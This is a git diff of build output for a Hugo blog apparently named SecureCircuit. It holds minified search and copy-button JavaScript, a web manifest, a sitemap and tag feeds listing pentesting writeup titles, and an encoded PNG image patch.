n.setKeys(c),n.setIndexRecords(l),n},u.config=e,function(){p.push.apply(p,arguments)}(K),u},"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).Fuse=t();var e,t,fuse,scriptBundle,copyText,copiedText,showButtons=document.querySelectorAll("[id^='search-button']"),hideButton=document.getElementById("close-search-button"),wrapper=document.getElementById("search-wrapper"),modal=document.getElementById("search-modal"),input=document.getElementById("search-query"),output=document.getElementById("search-results"),first=output.firstChild,last=output.lastChild,searchVisible=!1,indexed=!1,hasResults=!1;showButtons.forEach(e=>{e.addEventListener("click",displaySearch)}),hideButton.addEventListener("click",hideSearch),wrapper.addEventListener("click",hideSearch),modal.addEventListener("click",function(e){return e.stopPropagation(),e.stopImmediatePropagation(),!1}),document.addEventListener("keydown",function(e){e.key=="/"&&(searchVisible||(e.preventDefault(),displaySearch())),e.key=="Escape"&&hideSearch(),e.key=="ArrowDown"&&searchVisible&&hasResults&&(e.preventDefault(),document.activeElement==input?first.focus():document.activeElement==last?last.focus():document.activeElement.parentElement.nextSibling.firstElementChild.focus()),e.key=="ArrowUp"&&searchVisible&&hasResults&&(e.preventDefault(),document.activeElement==input?input.focus():document.activeElement==first?input.focus():document.activeElement.parentElement.previousSibling.firstElementChild.focus())}),input.onkeyup=function(){executeQuery(this.value)};function displaySearch(){indexed||buildIndex(),searchVisible||(document.body.style.overflow="hidden",wrapper.style.visibility="visible",input.focus(),searchVisible=!0)}function hideSearch(){searchVisible&&(document.body.style.overflow="visible",wrapper.style.visibility="hidden",input.value="",output.innerHTML="",document.activeElement.blur(),searchVisible=!1)}function fetchJSON(e,t){var n=new XMLHttpRequest;n.onreadystatechange=function(){if(n.readyState===4&&n.status===200){var e=JSON.parse(n.responseText);t&&t(e)}},n.open("GET",e),n.send()}function buildIndex(){var e=wrapper.getAttribute("data-url"),e=e.replace(/\/?$/,"/");fetchJSON(e+"index.json",function(e){var t={shouldSort:!0,ignoreLocation:!0,threshold:0,includeMatches:!0,keys:[{name:"title",weight:.8},{name:"section",weight:.2},{name:"summary",weight:.6},{name:"content",weight:.4}]};fuse=new Fuse(e,t),indexed=!0})}function executeQuery(e){let t=fuse.search(e),n="";t.length>0?(n=t.map(function(e){return`
  • + +
    +
    ${e.item.title}
    +
    ${e.item.section}${e.item.date==null?"":`·${e.item.date}`}
    +
    ${e.item.summary}
    +
    +
    +
    +
    +
  • `}).join(""),hasResults=!0):(n="",hasResults=!1),output.innerHTML=n,t.length>0&&(first=output.firstChild.firstElementChild,last=output.lastChild.firstElementChild)}scriptBundle=document.getElementById("script-bundle"),copyText=scriptBundle?scriptBundle.getAttribute("data-copy"):"Copy",copiedText=scriptBundle?scriptBundle.getAttribute("data-copied"):"Copied";function createCopyButton(e){const t=document.createElement("button");t.className="copy-button",t.type="button",t.ariaLabel=copyText,t.innerText=copyText,t.addEventListener("click",()=>copyCodeToClipboard(t,e)),addCopyButtonToDom(t,e)}async function copyCodeToClipboard(e,t){const n=t.querySelector(":last-child > .chroma > code").innerText;try{result=await navigator.permissions.query({name:"clipboard-write"}),result.state=="granted"||result.state=="prompt"?await navigator.clipboard.writeText(n):copyCodeBlockExecCommand(n,t)}catch{copyCodeBlockExecCommand(n,t)}finally{codeWasCopied(e)}}function copyCodeBlockExecCommand(e,t){const n=document.createElement("textArea");n.contentEditable="true",n.readOnly="false",n.className="copy-textarea",n.value=e,t.insertBefore(n,t.firstChild);const s=document.createRange();s.selectNodeContents(n);const o=window.getSelection();o.removeAllRanges(),o.addRange(s),n.setSelectionRange(0,999999),document.execCommand("copy"),t.removeChild(n)}function codeWasCopied(e){e.blur(),e.innerText=copiedText,setTimeout(function(){e.innerText=copyText},2e3)}function addCopyButtonToDom(e,t){t.insertBefore(e,t.firstChild);const n=document.createElement("div");n.className="highlight-wrapper",t.parentNode.insertBefore(n,t),n.appendChild(t)}window.addEventListener("DOMContentLoaded",e=>{document.querySelectorAll(".highlight").forEach(e=>createCopyButton(e))});function close_menu(){document.getElementById("menu-controller").checked=!1} \ No newline at end of file diff --git a/page/1/index.html b/page/1/index.html new file mode 100644 index 0000000..647514c --- /dev/null +++ b/page/1/index.html @@ -0,0 +1,2 @@ +https://your_domain.com/ + \ No newline at end of file diff --git a/site.webmanifest b/site.webmanifest new file mode 100644 index 0000000..4fc6502 --- /dev/null +++ b/site.webmanifest @@ -0,0 +1,21 @@ +{ + "name": "Congo", + "short_name": "Congo", + "icons": [ + { + "src": "/android-chrome-192x192.png", + "sizes": "192x192", + "type": "image/png", + "purpose": "any maskable" + }, + { + "src": "/android-chrome-512x512.png", + "sizes": "512x512", + "type": "image/png", + "purpose": "any maskable" + } + ], + "theme_color": "#ffffff", + "background_color": "#7c3aed", + "display": "standalone" +} diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 0000000..f753d6b --- /dev/null +++ b/sitemap.xml @@ -0,0 +1 @@ +https://your_domain.com/blog/2024-10-19T15:53:02+05:30https://your_domain.com/2024-10-19T15:53:02+05:30https://your_domain.com/writeups/basic-pentesting/2024-01-04T18:18:45+05:30https://your_domain.com/writeups/kioptrix/2023-08-11T08:11:37+05:30https://your_domain.com/writeups/2023-08-11T08:10:58+05:30https://your_domain.com/blog/adguard-unbound-pi/2023-04-02T19:25:11+05:30https://your_domain.com/blog/docker-raspi-install/2023-03-16T10:10:31+05:30 \ No newline at end of file diff --git a/tags/boot2root/index.html b/tags/boot2root/index.html new file mode 100644 index 0000000..b006d85 --- /dev/null +++ b/tags/boot2root/index.html @@ -0,0 +1,14 @@ +Boot2root · SecureCircuit +
    1. Tags/

    Boot2root

    2023


    \ No newline at end of file diff --git a/tags/boot2root/index.xml b/tags/boot2root/index.xml new file mode 100644 index 0000000..8aef633 --- /dev/null +++ b/tags/boot2root/index.xml @@ -0,0 +1 @@ +Boot2root on SecureCircuithttps://your_domain.com/tags/boot2root/Recent content in Boot2root on SecureCircuitHugoenFri, 11 Aug 2023 08:11:37 +0530Kioptrixhttps://your_domain.com/writeups/kioptrix/Fri, 11 Aug 2023 08:11:37 +0530https://your_domain.com/writeups/kioptrix/ \ No newline at end of file diff --git a/tags/boot2root/page/1/index.html b/tags/boot2root/page/1/index.html new file mode 100644 index 0000000..bdd0ac8 --- /dev/null +++ b/tags/boot2root/page/1/index.html @@ -0,0 +1,2 @@ +https://your_domain.com/tags/boot2root/ + \ No newline at end of file diff --git a/tags/index.html b/tags/index.html new file mode 100644 index 0000000..c5fba4a --- /dev/null +++ b/tags/index.html @@ -0,0 +1,17 @@ +Tags · SecureCircuit +

    Tags

    \ No newline at end of file diff --git a/tags/index.xml b/tags/index.xml new file mode 100644 index 0000000..9d9c376 --- /dev/null +++ b/tags/index.xml @@ -0,0 +1 @@ +Tags on SecureCircuithttps://your_domain.com/tags/Recent content in Tags on SecureCircuitHugoenThu, 04 Jan 2024 18:18:45 +0530Linuxhttps://your_domain.com/tags/linux/Thu, 04 Jan 2024 18:18:45 +0530https://your_domain.com/tags/linux/Boot2roothttps://your_domain.com/tags/boot2root/Fri, 11 Aug 2023 08:11:37 +0530https://your_domain.com/tags/boot2root/ \ No newline at end of file diff --git a/tags/linux/index.html b/tags/linux/index.html new file mode 100644 index 0000000..91420f6 --- /dev/null +++ b/tags/linux/index.html @@ -0,0 +1,16 @@ +Linux · SecureCircuit +
    1. Tags/

    Linux

    2024


    2023


    \ No newline at end of file diff --git a/tags/linux/index.xml b/tags/linux/index.xml new file mode 100644 index 0000000..121ace3 --- /dev/null +++ b/tags/linux/index.xml @@ -0,0 +1 @@ +Linux on SecureCircuithttps://your_domain.com/tags/linux/Recent content in Linux on SecureCircuitHugoenThu, 04 Jan 2024 18:18:45 +0530Basic Pentestinghttps://your_domain.com/writeups/basic-pentesting/Thu, 04 Jan 2024 18:18:45 +0530https://your_domain.com/writeups/basic-pentesting/A writeup of TryHackMe&rsquo;s Basic Pentesting RoomKioptrixhttps://your_domain.com/writeups/kioptrix/Fri, 11 Aug 2023 08:11:37 +0530https://your_domain.com/writeups/kioptrix/Adguard on a Pihttps://your_domain.com/blog/adguard-unbound-pi/Sun, 02 Apr 2023 19:25:11 +0530https://your_domain.com/blog/adguard-unbound-pi/Installing Docker & Docker Compose on Raspberry Pihttps://your_domain.com/blog/docker-raspi-install/Thu, 16 Mar 2023 10:10:31 +0530https://your_domain.com/blog/docker-raspi-install/ \ No newline at end of file diff --git a/tags/linux/page/1/index.html b/tags/linux/page/1/index.html new file mode 100644 index 0000000..5f2f9dd --- /dev/null +++ b/tags/linux/page/1/index.html @@ -0,0 +1,2 @@ +https://your_domain.com/tags/linux/ + \ No newline at end of file diff --git a/writeups/basic-pentesting/dev.txt.png b/writeups/basic-pentesting/dev.txt.png new file mode 100644 index 0000000000000000000000000000000000000000..248e5e306b69328704231c8be02b96f9c9790458 GIT binary patch literal 35077 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�hlgs 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 